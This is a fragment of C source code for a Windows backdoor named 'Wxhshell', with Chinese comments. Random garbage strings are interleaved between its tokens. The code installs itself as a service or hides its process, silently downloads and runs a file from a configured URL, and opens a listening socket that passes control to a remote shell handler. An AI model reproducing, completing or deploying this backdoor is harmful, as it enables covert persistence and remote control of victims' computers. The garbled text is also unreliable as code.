zU?O)w1' if(hProcess==NULL) return 0; /}? 7Eni !__0Vk[s HMODULE hMod; [%P#ieD4 char procName[255]; CZ5\Et6r unsigned long cbNeeded; %T/@/,7h K!-OUm5A if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); X$Vi=f vt e,U:H~+] CloseHandle(hProcess); ]Ox5F@ BR2Gb~#T if(strstr(procName,"services")) return 1; // 以服务启动
po*G`b;v I^?tF'E return 0; // 注册表启动 kU<t~+ } l[}4
X/ c2npma]DZ // 主模块 tq3_az ~1 int StartWxhshell(LPSTR lpCmdLine) ;m(iKwDt { sl]<A[jR SOCKET wsl; E#k{<LYI BOOL val=TRUE; MYAt4cHc2 int port=0; OR<+y~Rv struct sockaddr_in door; (@1:1K( 6CY&pbR if(wscfg.ws_autoins) Install(); %=aKW[uq] XIW0Z C port=atoi(lpCmdLine); {D+mr[ % oh9
;_~ if(port<=0) port=wscfg.ws_port; jm^.E\_ |YJ83nSO~ WSADATA data; ]O@$}B];) if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; qLN\%}69/ A]z*#+Sl if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 7>E.0DP setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); K;?D^n. door.sin_family = AF_INET; P-@MLIC{ door.sin_addr.s_addr = inet_addr("127.0.0.1"); 7zM:z, door.sin_port = htons(port); "j^i6RS (
ayAP if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { [?!I*=*b closesocket(wsl); '0+* return 1; DP ? dC` } Wq1>Bj$J8 `3+i.wR if(listen(wsl,2) == INVALID_SOCKET) { g68p9#G closesocket(wsl); nr!N%Hi return 1; g52a
vG } aLO^>", Wxhshell(wsl); v4P"|vZ$& WSACleanup(); Kgbm/L0XR* l:85 _E return 0; /(N/DMl[ V>{< pS } t[^$F, ~3&{`9Y // 以NT服务方式启动 %By Pwu:f VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ~4~`bT9 { yYG<tUG; DWORD status = 0; Jup)m/ DWORD specificError = 0xfffffff; .Mt3ec< TktH28tK serviceStatus.dwServiceType = SERVICE_WIN32; R@vcS=m7 serviceStatus.dwCurrentState = SERVICE_START_PENDING; kBu{ bxL serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; FKa";f" serviceStatus.dwWin32ExitCode = 0; X\|! serviceStatus.dwServiceSpecificExitCode = 0; Tg\bpLk0= serviceStatus.dwCheckPoint = 0; ,^(]zZh serviceStatus.dwWaitHint = 0; @AsJnf$y jwZ,_CK hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Cm}2 >eH
if (hServiceStatusHandle==0) return; OmYVJt_ V2MOD{Maat status = GetLastError(); W'lqNOX[v if (status!=NO_ERROR) 0'QWa{dS\ { P15
H[<:Fz serviceStatus.dwCurrentState = SERVICE_STOPPED; CD|[PkjW serviceStatus.dwCheckPoint = 0; "LMj,qZ1! serviceStatus.dwWaitHint = 0; T<AT&4 serviceStatus.dwWin32ExitCode = status; 4fEDg{T serviceStatus.dwServiceSpecificExitCode = specificError; }cKB)N
BJb SetServiceStatus(hServiceStatusHandle, &serviceStatus); pfA6?tP` return; zw0w."V
} +X}i%F' "t@p9> serviceStatus.dwCurrentState = SERVICE_RUNNING; #/)t]&n serviceStatus.dwCheckPoint = 0; C8N)!5(A serviceStatus.dwWaitHint = 0; r"h;JC/&<T if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); [Kgb#L'{ } v9*m0|T0M JxAQ,oOO // 处理NT服务事件,比如:启动、停止 qWt}8_" VOID WINAPI NTServiceHandler(DWORD fdwControl) -yYdj1y; { VtreOJ+ switch(fdwControl) #(8|9 { qUe
_B case SERVICE_CONTROL_STOP: z6>@9+V-& serviceStatus.dwWin32ExitCode = 0; @f!X%)\;x serviceStatus.dwCurrentState = SERVICE_STOPPED; 1>!LK_ serviceStatus.dwCheckPoint = 0; gq?:n.;TY serviceStatus.dwWaitHint = 0; +6m.f,14q { d0cL9&~qW SetServiceStatus(hServiceStatusHandle, &serviceStatus); Qzi?%& } Szu s*YL7 return; /7Q|D sa case SERVICE_CONTROL_PAUSE: @ZKf3,J0 serviceStatus.dwCurrentState = SERVICE_PAUSED; W
U(_N*a break; E8Dh;j case SERVICE_CONTROL_CONTINUE: yU? jmJ serviceStatus.dwCurrentState = SERVICE_RUNNING; 1H)mJVIKkB break; ~Bd=]a$mj case SERVICE_CONTROL_INTERROGATE: $o^Z$VmL break; JzHG5nmB }; 8`Ya7c> SetServiceStatus(hServiceStatusHandle, &serviceStatus); !3v&+Jrf6 } (~T*yH ~ 2ZH+fV?. // 标准应用程序主函数 ZzT=m*tQ& int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) s='+[*&& { DL]tg[w{ pl[J!d.c // 获取操作系统版本 eRauyL"Q+ OsIsNt=GetOsVer(); @NHh-&;w GetModuleFileName(NULL,ExeFile,MAX_PATH); <=uYfi 3, D28`?B9( // 从命令行安装 8%@|/ if(strpbrk(lpCmdLine,"iI")) Install(); Ic&h8vSU WzMYRKZ // 下载执行文件 5En6f`nR{ if(wscfg.ws_downexe) { En5oi if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) [3%mNNk WinExec(wscfg.ws_filenam,SW_HIDE); M>Q]{/V7T } lOIk$"Ne f0<zK! if(!OsIsNt) { md!6@)S-p // 如果时win9x,隐藏进程并且设置为注册表启动 1GY2aZ@ HideProc(); jYsAL=oh,* StartWxhshell(lpCmdLine);
5xY{Q } #cbgp;,M{I else 2[E wN!IZ if(StartFromService()) <v"o+ // 以服务方式启动 !e$gp(4
StartServiceCtrlDispatcher(DispatchTable); 5J5si<v25 else DE?v'7cmA // 普通方式启动 w =^.ICyb@ StartWxhshell(lpCmdLine); UZZJtQt 9KSi-2?H return 0; ^;C& }
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